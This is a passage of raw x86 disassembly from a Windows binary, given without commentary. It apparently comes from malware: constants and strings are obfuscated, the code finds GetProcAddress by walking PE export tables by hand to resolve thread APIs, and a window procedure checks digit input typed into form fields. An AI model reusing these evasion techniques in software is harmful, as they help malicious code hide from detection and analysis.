movsx edx, word_5511EC add esi, edx sub esi, 0Ch mov ds:dword_44A0E0[edi*4], esi loc_444656: ; CODE XREF: sub_4441D8+432j ; sub_4441D8+44Ej ... inc [ebp+var_10048] loc_44465C: ; CODE XREF: sub_4441D8+41Dj mov eax, dword_551208 add eax, 3E6h cmp [ebp+var_10048], eax jb short loc_4445F7 loc_44466E: ; CODE XREF: sub_4441D8+400j call ds:dword_54EB70 mov [ebp+var_10060], eax mov eax, dword_551128 sub eax, 7 mov [ebp+var_1004C], eax jmp short loc_4446EF ; --------------------------------------------------------------------------- loc_44468A: ; CODE XREF: sub_4441D8+52Dj mov edi, [ebp+var_1004C] shl edi, 2 mov esi, ds:dword_4CDA50[edi] mov edx, dword_55109C add edx, 0EA59h movsx ecx, word_55112C imul edx, ecx add esi, edx cmp esi, [ebp+var_10060] jnb short loc_4446E9 mov esi, dword_5511E0 sub esi, 9 cmp ds:dword_44A0E0[edi], esi jz short loc_4446E9 mov edi, [ebp+var_1004C] movsx esi, word_55123C add esi, dword_551204 sub esi, 6 mov ds:dword_44A0E0[edi*4], esi loc_4446E9: ; CODE XREF: sub_4441D8+4E0j ; sub_4441D8+4F2j inc [ebp+var_1004C] loc_4446EF: ; CODE XREF: sub_4441D8+4B0j mov eax, dword_5511FC add eax, 3E7h add eax, dword_5511B4 cmp [ebp+var_1004C], eax jb short loc_44468A mov eax, dword_55124C add eax, dword_5510A8 sub eax, 0Dh mov [ebp+var_10054], eax jmp short loc_444745 ; --------------------------------------------------------------------------- loc_44471D: ; CODE XREF: sub_4441D8+57Dj mov edi, [ebp+var_10054] movsx esi, word_551188 movsx edx, word_5511C8 add esi, edx sub esi, 0Ch cmp ds:dword_44A0E0[edi*4], esi jz short loc_444757 inc [ebp+var_10054] loc_444745: ; CODE XREF: sub_4441D8+543j mov eax, dword_55121C add eax, 3E8h cmp [ebp+var_10054], eax jb short loc_44471D loc_444757: ; CODE XREF: sub_4441D8+565j mov edi, [ebp+var_10054] mov esi, [ebp+arg_0] mov ds:dword_448060[edi*4], esi mov eax, edi mov dl, [ebp+var_10055] mov ds:byte_44B1B0[eax], dl mov esi, [ebp+var_1005C] mov ds:dword_449020[edi*4], esi movsx eax, word_5510A0 add eax, dword_5510C4 sub eax, 10h cmp [ebp+var_10080], eax jbe loc_44485E mov esi, dword_551114 add esi, 0FFF9h add esi, dword_5510B4 mov ds:word_48BA10[edi*2], si mov eax, dword_5510A8 add eax, dword_551128 sub eax, 0Fh mov [ebp+var_10088], eax jmp short loc_444840 ; --------------------------------------------------------------------------- loc_4447CF: ; CODE XREF: sub_4441D8+67Ej mov edi, [ebp+var_10088] mov dl, ds:byte_44B1B0[edi] cmp dl, [ebp+var_10055] jnz short loc_44483A mov esi, edi shl esi, 2 mov edx, [ebp+var_1005C] cmp ds:dword_449020[esi], edx jnz short loc_44483A mov edx, dword_5511A0 cmp ds:dword_44A0E0[esi], edx jz short loc_44483A movzx edi, ds:word_48BA10[edi*2] mov esi, dword_5510D0 add esi, 0FFF8h movsx edx, word_551268 add esi, edx cmp edi, esi jz short loc_44483A mov edi, [ebp+var_10088] lea edi, ds:48BA10h[edi*2] inc word ptr [edi] jmp short loc_44487B ; --------------------------------------------------------------------------- loc_44483A: ; CODE XREF: sub_4441D8+60Aj ; sub_4441D8+61Ej ... inc [ebp+var_10088] loc_444840: ; CODE XREF: sub_4441D8+5F5j mov eax, dword_55124C add eax, 3DCh add eax, dword_5510E8 cmp [ebp+var_10088], eax jb loc_4447CF jmp short loc_44487B ; --------------------------------------------------------------------------- loc_44485E: ; CODE XREF: sub_4441D8+5C1j mov edi, [ebp+var_10054] mov esi, dword_55117C add esi, dword_551230 sub esi, 9 mov ds:word_48BA10[edi*2], si loc_44487B: ; CODE XREF: sub_4441D8+660j ; sub_4441D8+684j call ds:dword_54EB70 mov edi, [ebp+var_10054] mov ds:dword_4CDA50[edi*4], eax lea esi, off_5512C0 mov ds:dword_44A0E0[edi*4], esi mov edi, [ebp+var_10054] lea edi, ds:44A0E0h[edi*4] mov [ebp+var_10084], edi mov eax, edi push eax mov esi, [eax] call dword ptr [esi+4] mov edi, [ebp+var_10054] lea edi, ds:44A0E0h[edi*4] mov [ebp+var_10070], edi mov [ebp+var_10078], 9 lea esi, [ebp+var_10078] sub esp, 10h mov edi, esp mov ecx, 4 rep movsd mov edi, [ebp+var_1007C] push edi mov edi, [edi] call dword ptr [edi+0A4h] mov ebx, eax inc [ebp+var_10054] lea eax, [ebp+var_10078] push eax call ds:dword_550154 mov eax, [ebp+var_1007C] push eax mov esi, [eax] call dword ptr [esi+8] loc_444914: ; CODE XREF: sub_4441D8+148j ; sub_4441D8+162j ... cmp [ebp+var_10044], 0 jz short loc_444929 mov eax, [ebp+var_10044] push eax mov esi, [eax] call dword ptr [esi+8] loc_444929: ; CODE XREF: sub_4441D8+743j mov eax, dword_55109C movsx edx, word_551220 add eax, edx sub eax, 8 cmp [ebp+var_4], eax jz short loc_444948 mov eax, [ebp+var_4] push eax mov esi, [eax] call dword ptr [esi+8] loc_444948: ; CODE XREF: sub_4441D8+107j ; sub_4441D8+765j inc [ebp+var_1C] loc_44494B: ; CODE XREF: sub_4441D8+B6j mov eax, [ebp+var_28] cmp [ebp+var_1C], eax jb loc_444293 loc_444957: ; CODE XREF: sub_4441D8+9Fj mov eax, [ebp+var_24] push eax mov esi, [eax] call dword ptr [esi+8] loc_444960: ; CODE XREF: sub_4441D8+80j mov eax, [ebp+var_2C] push eax mov esi, [eax] call dword ptr [esi+8] xor eax, eax loc_44496B: ; CODE XREF: sub_4441D8+57j ; sub_4441D8+203j pop edi pop esi pop ebx leave retn sub_4441D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444970 proc near ; CODE XREF: sub_4423A6+DCp ; sub_4423A6+14Ep var_7 = byte ptr -7 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push eax push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov byte ptr [ebx], 0 mov ecx, esi or eax, 0FFFFFFFFh loc_444986: ; CODE XREF: sub_444970+1Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_444986 mov [ebp+var_4], eax mov edi, dword_551258 sub edi, 1 jmp short loc_444A0B ; --------------------------------------------------------------------------- loc_44499B: ; CODE XREF: sub_444970+9Ej mov al, [esi+edi] cmp al, 2Eh jz short loc_4449AE cmp al, 2Fh jz short loc_4449AE movzx eax, [ebp+arg_8] cmp edi, eax jnb short loc_4449CD loc_4449AE: ; CODE XREF: sub_444970+30j ; sub_444970+34j push offset word_551B62 call sub_43AC94 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50EA28 add esp, 10h jmp short loc_4449FC ; --------------------------------------------------------------------------- loc_4449CD: ; CODE XREF: sub_444970+3Cj push offset byte_551B5D call sub_43AC94 push eax push ebx call ds:dword_44802C push offset byte_551B55 call sub_43AC94 movzx edx, byte ptr [esi+edi] push edx push eax lea edx, [ebp+var_7] push edx call ds:dword_50EA28 add esp, 1Ch loc_4449FC: ; CODE XREF: sub_444970+5Bj lea eax, [ebp+var_7] push eax push ebx call ds:dword_44802C add esp, 8 inc edi loc_444A0B: ; CODE XREF: sub_444970+29j cmp edi, [ebp+var_4] jb short loc_44499B pop edi pop esi pop ebx leave retn sub_444970 endp ; =============== S U B R O U T I N E ======================================= sub_444A15 proc near ; CODE XREF: sub_43E491+2Ap push edi push offset byte_551B47 call sub_43AC94 pop ecx push eax call ds:dword_44B598 mov dword_551298, eax movsx eax, word_5511CC add eax, dword_551158 sub eax, 7 cmp eax, dword_551298 jnz short loc_444A5C push offset asc_551B39 ; "\n" call sub_43AC94 pop ecx push eax call ds:dword_48C318 mov dword_551298, eax loc_444A5C: ; CODE XREF: sub_444A15+2Ej mov eax, dword_551128 sub eax, 7 cmp dword_551298, eax jz short loc_444A8F mov eax, dword_5510DC movsx edx, word_551168 add eax, edx sub eax, 6 push eax push dword_551298 call ds:dword_44B1AC mov ds:dword_448024, eax loc_444A8F: ; CODE XREF: sub_444A15+55j pop edi retn sub_444A15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444A91 proc near ; CODE XREF: sub_441AE5+11p var_10E = byte ptr -10Eh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push edi mov edi, [ebp+arg_0] push 104h lea eax, [ebp+var_108] push eax call ds:dword_44B5B0 mov eax, dword_5511D4 mov edx, dword_5510B4 sub edx, 4 mov [ebp+eax+var_10E], dl push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_10C] push eax push 104h lea eax, [ebp+var_108] push eax lea eax, [ebp+var_108] push eax call ds:dword_4CEA04 push offset byte_551B31 call sub_43AC94 push [ebp+var_10C] push eax push edi call ds:dword_50EA28 add esp, 10h mov eax, dword_55117C sub eax, 5 mov [ebp+var_4], eax jmp short loc_444B50 ; --------------------------------------------------------------------------- loc_444B21: ; CODE XREF: sub_444A91+D0j mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 41h jl short loc_444B37 cmp al, 5Ah jg short loc_444B37 mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 20h loc_444B37: ; CODE XREF: sub_444A91+98j ; sub_444A91+9Cj mov eax, [ebp+var_4] mov al, [edi+eax] cmp al, 39h jg short loc_444B4D cmp al, 30h jl short loc_444B4D mov eax, [ebp+var_4] add eax, edi add byte ptr [eax], 31h loc_444B4D: ; CODE XREF: sub_444A91+AEj ; sub_444A91+B2j inc [ebp+var_4] loc_444B50: ; CODE XREF: sub_444A91+8Ej mov eax, dword_55113C add eax, dword_551138 sub eax, 4 cmp [ebp+var_4], eax jb short loc_444B21 pop edi leave retn sub_444A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444B66 proc near ; CODE XREF: sub_43F4C7+22Ap var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_289 = byte ptr -289h var_274 = byte ptr -274h var_25F = byte ptr -25Fh var_252 = byte ptr -252h var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = byte ptr -220h var_21F = byte ptr -21Fh var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h push ebx push esi push edi mov edi, dword_551108 mov esi, [ebp+arg_0] movsx edx, word_55111C lea ecx, [edi+edx+0Eh] shr esi, cl mov edx, dword_551184 lea edi, [edi+edx+6] mov ecx, edi mov ebx, esi shl ebx, cl loc_444B98: ; CODE XREF: sub_444B66+4Dj ; sub_444B66+84j ... mov [ebp+var_114], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_444BB5 mov eax, dword_5511C0 add eax, 10000h sub ebx, eax jmp short loc_444B98 ; --------------------------------------------------------------------------- loc_444BB5: ; CODE XREF: sub_444B66+3Fj mov eax, dword_551090 add eax, 3Bh add eax, dword_5511A0 mov edx, ebx add edx, eax mov [ebp+var_10C], edx mov eax, [edx] add eax, ebx mov [ebp+var_118], eax mov ecx, [ebp+arg_0] cmp eax, ecx jbe short loc_444BEC mov eax, dword_5511B8 add eax, 0FFF9h sub ebx, eax jmp short loc_444B98 ; --------------------------------------------------------------------------- loc_444BEC: ; CODE XREF: sub_444B66+76j mov eax, [ebp+var_118] mov [ebp+var_11C], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_444C12 movsx eax, word_551220 add eax, 0FFFFh sub ebx, eax jmp short loc_444B98 ; --------------------------------------------------------------------------- loc_444C12: ; CODE XREF: sub_444B66+9Aj mov eax, [ebp+var_11C] mov eax, [eax+78h] mov [ebp+var_120], eax mov ecx, ebx add ecx, eax mov [ebp+var_110], ecx mov eax, ecx mov edx, ebx add edx, [eax+0Ch] push edx lea eax, [ebp+var_103] push eax call sub_44799C mov eax, dword_551198 add eax, dword_5511A0 sub eax, 3 mov [ebp+var_4], eax jmp short loc_444C74 ; --------------------------------------------------------------------------- loc_444C52: ; CODE XREF: sub_444B66+11Fj mov eax, [ebp+var_4] mov al, [ebp+eax+var_103] cmp al, 7Ah jge short loc_444C71 cmp al, 61h jle short loc_444C71 mov eax, [ebp+var_4] lea eax, [ebp+eax+var_103] sub byte ptr [eax], 20h loc_444C71: ; CODE XREF: sub_444B66+F8j ; sub_444B66+FCj inc [ebp+var_4] loc_444C74: ; CODE XREF: sub_444B66+EAj mov eax, [ebp+var_4] movsx eax, [ebp+eax+var_103] cmp eax, dword_5511C0 jnz short loc_444C52 mov eax, dword_551230 movsx edx, word_5511C8 add edx, eax cmp byte ptr [ebp+edx+var_108], 32h jz short loc_444CFF mov edx, dword_5511D8 movsx ecx, word_5510EC mov esi, edx add esi, ecx cmp byte ptr [ebp+esi+var_108], 52h jz short loc_444CFF cmp byte ptr [ebp+edx+var_108+3], 4Ch jz short loc_444CFF cmp byte ptr [ebp+eax+var_108], 4Bh jz short loc_444CFF mov eax, dword_5510F4 add eax, dword_55110C cmp byte ptr [ebp+eax+var_108], 33h jz short loc_444CFF mov eax, dword_5511B4 movsx edx, word_551260 add eax, edx cmp byte ptr [ebp+eax+var_10C], 45h jnz loc_444F61 loc_444CFF: ; CODE XREF: sub_444B66+137j ; sub_444B66+152j ... mov eax, dword_551124 add eax, dword_55121C sub eax, 9 mov [ebp+var_108], eax jmp loc_444F4C ; --------------------------------------------------------------------------- loc_444D18: ; CODE XREF: sub_444B66+3F5j mov eax, [ebp+var_110] mov edx, ebx add edx, [eax+20h] mov [ebp+var_22C], edx mov eax, [ebp+var_108] mov [ebp+var_228], eax mov ecx, dword_5510A8 sub ecx, 4 mul ecx mov [ebp+var_230], eax mov eax, [ebp+var_22C] mov edx, [ebp+var_230] add eax, edx mov [ebp+var_10C], eax mov eax, [eax] add eax, ebx mov [ebp+var_224], eax push eax lea eax, [ebp+var_21F] push eax call sub_44799C mov eax, dword_551128 add eax, dword_55121C cmp byte ptr [ebp+eax+var_228+2], 47h jnz loc_444F46 mov eax, dword_551158 add eax, dword_55126C cmp byte ptr [ebp+eax+var_228+3], 50h jnz loc_444F46 mov eax, dword_55113C movsx edx, word_551180 add eax, edx cmp [ebp+eax+var_220], 72h jnz loc_444F46 mov eax, dword_55110C add eax, dword_55119C cmp byte ptr [ebp+eax+var_230+3], 74h jnz loc_444F46 movsx eax, word_55112C add eax, dword_5510C4 cmp byte ptr [ebp+eax+var_228+1], 63h jnz loc_444F46 mov eax, dword_5510E0 add eax, 6 add eax, dword_5510C8 cmp [ebp+eax+var_21F], 41h jnz loc_444F46 mov eax, [ebp+var_110] mov eax, [eax+24h] add eax, ebx mov [ebp+var_290], eax mov eax, [ebp+var_108] mov ecx, dword_5511B8 add ecx, dword_551198 sub ecx, 8 mul ecx mov [ebp+var_294], eax mov eax, [ebp+var_290] mov edx, [ebp+var_294] add eax, edx mov [ebp+var_114], eax movzx eax, word ptr [eax] mov [ebp+var_234], eax movsx ecx, word_551194 sub ecx, 3 mul ecx mov [ebp+var_298], eax mov edx, ebx add edx, eax mov eax, [ebp+var_110] add edx, [eax+1Ch] mov [ebp+var_10C], edx mov eax, edx mov edx, ebx add edx, [eax] mov [ebp+var_238], edx mov ds:dword_44B1AC, edx lea edi, [ebp+var_252] lea esi, aInitializecrit ; "InitializeCriticalSection" mov ecx, 0Dh rep movsw mov dword_55127C, ebx lea edi, [ebp+var_25F] lea esi, aCreatethread ; "CreateThread" mov ecx, 0Dh rep movsb lea edi, [ebp+var_274] lea esi, aLeavecriticals ; "LeaveCriticalSection" mov ecx, 15h rep movsb lea edi, [ebp+var_289] lea esi, aEntercriticals ; "EnterCriticalSection" mov ecx, 15h rep movsb lea eax, [ebp+var_289] push eax push dword_55127C call ds:dword_44B1AC mov ds:dword_54EA5C, eax lea eax, [ebp+var_274] push eax push dword_55127C call ds:dword_44B1AC mov ds:dword_4CDA40, eax lea eax, [ebp+var_25F] push eax push dword_55127C call ds:dword_44B1AC mov ds:dword_550020, eax lea eax, [ebp+var_252] push eax push dword_55127C call ds:dword_44B1AC mov ds:dword_449FCC, eax jmp short loc_444F61 ; --------------------------------------------------------------------------- loc_444F46: ; CODE XREF: sub_444B66+21Ej ; sub_444B66+237j ... inc [ebp+var_108] loc_444F4C: ; CODE XREF: sub_444B66+1ADj mov eax, [ebp+var_110] mov eax, [eax+18h] cmp [ebp+var_108], eax jb loc_444D18 loc_444F61: ; CODE XREF: sub_444B66+193j ; sub_444B66+3DEj pop edi pop esi pop ebx leave retn sub_444B66 endp ; =============== S U B R O U T I N E ======================================= sub_444F66 proc near ; CODE XREF: sub_44718F+67p arg_0 = dword ptr 4 push ebx push esi mov ecx, [esp+8+arg_0] mov esi, dword_55119C add esi, dword_5511D4 movsx ebx, word_5510EC add ebx, 0EFCDAB89h mov [ecx+esi*4-3Ch], ebx movsx esi, word_55120C mov ebx, dword_551164 lea esi, [esi+ebx+2] mov ebx, dword_55122C add ebx, 98BADCFDh mov [ecx+esi*4], ebx mov esi, dword_551158 movsx ebx, word_5510AC mov edx, dword_551118 lea ebx, [ebx+edx+10325466h] mov [ecx+esi*4+8], ebx mov esi, dword_551114 add esi, dword_5511D0 movsx ebx, word_551214 add ebx, 674522FEh mov [ecx+esi*4-14h], ebx pop esi pop ebx retn sub_444F66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444FE7 proc near ; DATA XREF: sub_43CD37+10B4o ; sub_43CD37+1104o ... var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_219 = byte ptr -219h var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_105 = byte ptr -105h var_104 = byte ptr -104h var_103 = byte ptr -103h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 230h push ebx push esi push edi mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, ebx cmp eax, 100h jz short loc_445018 jl loc_445592 cmp eax, 111h jz loc_4450B0 jmp loc_445592 ; --------------------------------------------------------------------------- loc_445018: ; CODE XREF: sub_444FE7+19j cmp [ebp+arg_8], 9 jnz loc_445592 mov eax, dword_551184 mov edi, eax add edi, dword_55109C sub edi, 0Fh jmp short loc_44509F ; --------------------------------------------------------------------------- loc_445034: ; CODE XREF: sub_444FE7+C2j mov eax, 30h mul edi mov [ebp+var_208], eax cmp esi, ds:dword_4CC664[eax] jnz short loc_445069 mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CC668[eax] call ds:dword_48B9FC jmp loc_445592 ; --------------------------------------------------------------------------- loc_445069: ; CODE XREF: sub_444FE7+61j mov eax, 30h mul edi mov [ebp+var_20C], eax cmp esi, ds:dword_4CC660[eax] jnz short loc_44509E mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CC664[eax] call ds:dword_48B9FC jmp loc_445592 ; --------------------------------------------------------------------------- loc_44509E: ; CODE XREF: sub_444FE7+96j inc edi loc_44509F: ; CODE XREF: sub_444FE7+4Bj mov eax, dword_551174 add eax, 63h cmp edi, eax jb short loc_445034 jmp loc_445592 ; --------------------------------------------------------------------------- loc_4450B0: ; CODE XREF: sub_444FE7+26j mov edi, dword_5510F4 sub edi, 2 jmp short loc_4450D5 ; --------------------------------------------------------------------------- loc_4450BB: ; CODE XREF: sub_444FE7+101j mov eax, 30h mul edi mov [ebp+var_208], eax mov eax, ds:dword_4CC66C[eax] cmp [ebp+arg_C], eax jz short loc_4450EA inc edi loc_4450D5: ; CODE XREF: sub_444FE7+D2j mov eax, dword_551174 add eax, 63h movsx edx, word_55120C add eax, edx cmp edi, eax jb short loc_4450BB loc_4450EA: ; CODE XREF: sub_444FE7+EBj mov eax, dword_551244 add eax, 5Dh cmp edi, eax jz loc_445592 movsx eax, word_551144 add eax, dword_5511F0 mov byte ptr [ebp+eax+var_210+3], 7Ch mov eax, dword_5510A4 add eax, dword_55122C mov byte ptr [ebp+eax+var_210+2], 4Bh mov eax, dword_551204 mov edx, dword_551108 sub edx, 2 mov byte ptr [ebp+eax+var_208+3], dl push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_20C], eax push ds:dword_4CC658[eax] call ds:dword_550038 lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 8 push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_210], eax push ds:dword_4CC660[eax] call ds:dword_550038 mov eax, dword_5510C8 movsx edx, word_551188 add eax, edx sub eax, 5 movsx edx, [ebp+var_103] cmp eax, edx jnz short loc_44520B push offset word_551B0E call sub_43AC94 pop ecx mov edx, dword_55109C add edx, dword_5511F4 sub edx, 0Ch push edx mov edx, dword_551250 sub edx, 2 push edx push eax mov edx, dword_55114C sub edx, 6 push edx call ds:dword_50EA38 mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CC660[eax] call ds:dword_48B9FC jmp loc_445592 ; --------------------------------------------------------------------------- loc_44520B: ; CODE XREF: sub_444FE7+1CDj push offset byte_551B09 call sub_43AC94 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_214], eax push ds:dword_4CC664[eax] call ds:dword_550038 mov eax, dword_551200 sub eax, 3 movsx edx, [ebp+var_103] cmp eax, edx jnz short loc_4452C2 push offset byte_551AE7 call sub_43AC94 pop ecx mov edx, dword_5511F8 sub edx, 7 push edx mov edx, dword_55125C sub edx, 5 push edx push eax mov edx, dword_551154 sub edx, 7 push edx call ds:dword_50EA38 mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CC664[eax] call ds:dword_48B9FC jmp loc_445592 ; --------------------------------------------------------------------------- loc_4452C2: ; CODE XREF: sub_444FE7+28Aj push offset word_551AE2 call sub_43AC94 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C add esp, 14h push 0FFh lea eax, [ebp+var_103] push eax mov eax, 30h mul edi mov [ebp+var_218], eax push ds:dword_4CC668[eax] call ds:dword_550038 movsx eax, word_55115C add eax, dword_5511C0 sub eax, 3 movsx edx, [ebp+var_103] cmp eax, edx jz loc_44545F lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_44533F: ; CODE XREF: sub_444FE7+35Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44533F movsx ecx, word_551274 add ecx, dword_55125C sub ecx, 2 cmp eax, ecx jb loc_44545F movsx eax, word_551214 sub eax, 3 mov [ebp+var_105], al jmp short loc_445392 ; --------------------------------------------------------------------------- loc_445370: ; CODE XREF: sub_444FE7+3C4j movzx eax, [ebp+var_105] mov al, [ebp+eax+var_103] cmp al, 39h jg short loc_445386 cmp al, 30h jge short loc_44538B loc_445386: ; CODE XREF: sub_444FE7+399j jmp loc_44545F ; --------------------------------------------------------------------------- loc_44538B: ; CODE XREF: sub_444FE7+39Dj add [ebp+var_105], 1 loc_445392: ; CODE XREF: sub_444FE7+387j lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_44539B: ; CODE XREF: sub_444FE7+3B9j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_44539B movzx ecx, [ebp+var_105] cmp ecx, eax jb short loc_445370 movsx eax, word_5511CC add eax, dword_5511D8 sub eax, 0Dh mov [ebp+var_104], al jmp short loc_44543B ; --------------------------------------------------------------------------- loc_4453C5: ; CODE XREF: sub_444FE7+46Dj mov al, [ebp+var_104] mov [ebp+var_219], al jmp short loc_4453FC ; --------------------------------------------------------------------------- loc_4453D3: ; CODE XREF: sub_444FE7+42Ej movzx eax, [ebp+var_219] movsx eax, [ebp+eax+var_103] movzx edx, [ebp+var_104] movsx edx, [ebp+edx+var_103] cmp eax, edx jnz short loc_445417 add [ebp+var_219], 1 loc_4453FC: ; CODE XREF: sub_444FE7+3EAj lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_445405: ; CODE XREF: sub_444FE7+423j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_445405 movzx ecx, [ebp+var_219] cmp ecx, eax jb short loc_4453D3 loc_445417: ; CODE XREF: sub_444FE7+40Cj movzx eax, [ebp+var_219] movzx edx, [ebp+var_104] sub eax, edx mov edx, dword_551160 sub edx, 2 cmp eax, edx jg short loc_44545F add [ebp+var_104], 1 loc_44543B: ; CODE XREF: sub_444FE7+3DCj lea ecx, [ebp+var_103] or eax, 0FFFFFFFFh loc_445444: ; CODE XREF: sub_444FE7+462j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_445444 movzx ecx, [ebp+var_104] cmp ecx, eax jb loc_4453C5 jmp loc_4454F8 ; --------------------------------------------------------------------------- loc_44545F: ; CODE XREF: sub_444FE7+349j ; sub_444FE7+371j ... mov eax, dword_551130 add eax, 7CCh movsx edx, word_551274 add eax, edx push eax call ds:dword_50EA24 push offset byte_551AA9 call sub_43AC94 mov [ebp-21Ch], eax push offset word_551A92 call sub_43AC94 movsx edx, word_5510E4 push edx push eax mov edx, [ebp-21Ch] push edx push dword_551100 call ds:dword_50EA38 push offset word_551A8E call sub_43AC94 add esp, 10h push eax mov eax, 30h mul edi mov [ebp+var_220], eax mov edx, eax push ds:dword_4CC668[edx] call ds:dword_54EA54 mov eax, 30h mul edi mov [ebp+var_224], eax push ds:dword_4CC668[eax] call ds:dword_48B9FC jmp loc_445592 ; --------------------------------------------------------------------------- loc_4454F8: ; CODE XREF: sub_444FE7+473j push offset byte_551A89 call sub_43AC94 push eax lea edx, [ebp+var_204] push edx call ds:dword_44802C lea eax, [ebp+var_103] push eax lea eax, [ebp+var_204] push eax call ds:dword_44802C mov eax, 30h mul edi mov [ebp+var_228], eax push ds:dword_4CC658[eax] call ds:dword_48C1E8 lea eax, [ebp+var_204] push eax call ds:dword_449014 add esp, 18h push 5 mov eax, 30h mul edi mov [ebp+var_22C], eax push ds:dword_4CC654[eax] call ds:dword_54EA58 mov eax, 30h mul edi mov [ebp+var_230], eax mov eax, dword_5511E0 add eax, dword_551204 sub eax, 0Ch mov edx, [ebp+var_230] mov ds:dword_4CC650[edx], eax loc_445592: ; CODE XREF: sub_444FE7+1Bj ; sub_444FE7+2Cj ... mov eax, dword_5511D8 mov edi, eax add edi, dword_551264 sub edi, 0Ah jmp loc_44567B ; --------------------------------------------------------------------------- loc_4455A7: ; CODE XREF: sub_444FE7+69Ej mov eax, 30h mul edi mov [ebp+var_8], eax cmp esi, ds:dword_4CC660[eax] jnz short loc_4455DE push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_C], eax push ds:dword_4CC670[eax] call ds:dword_4CE9FC jmp loc_44568B ; --------------------------------------------------------------------------- loc_4455DE: ; CODE XREF: sub_444FE7+5D1j mov eax, 30h mul edi mov [ebp+var_10], eax cmp esi, ds:dword_4CC664[eax] jnz short loc_445612 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_14], eax push ds:dword_4CC674[eax] call ds:dword_4CE9FC jmp short loc_44568B ; --------------------------------------------------------------------------- loc_445612: ; CODE XREF: sub_444FE7+608j mov eax, 30h mul edi mov [ebp+var_18], eax cmp ds:dword_4CC65C[eax], esi jnz short loc_445646 push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_1C], eax push ds:dword_4CC67C[eax] call ds:dword_4CE9FC jmp short loc_44568B ; --------------------------------------------------------------------------- loc_445646: ; CODE XREF: sub_444FE7+63Cj mov eax, 30h mul edi mov [ebp+var_20], eax cmp ds:dword_4CC668[eax], esi jnz short loc_44567A push [ebp+arg_C] push [ebp+arg_8] push ebx push esi mov eax, 30h mul edi mov [ebp+var_24], eax push ds:dword_4CC678[eax] call ds:dword_4CE9FC jmp short loc_44568B ; --------------------------------------------------------------------------- loc_44567A: ; CODE XREF: sub_444FE7+670j inc edi loc_44567B: ; CODE XREF: sub_444FE7+5BBj mov eax, dword_551198 add eax, 61h cmp edi, eax jb loc_4455A7 loc_44568B: ; CODE XREF: sub_444FE7+5F2j ; sub_444FE7+629j ... pop edi pop esi pop ebx leave retn 10h sub_444FE7 endp ; =============== S U B R O U T I N E ======================================= sub_445692 proc near ; DATA XREF: .data:005512D0o mov eax, 80004001h retn 10h sub_445692 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44569A proc near ; CODE XREF: sub_442DEC+95p ; sub_442DEC+19Ap var_1001C = dword ptr -1001Ch var_10003 = byte ptr -10003h var_FFFF = byte ptr -0FFFFh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 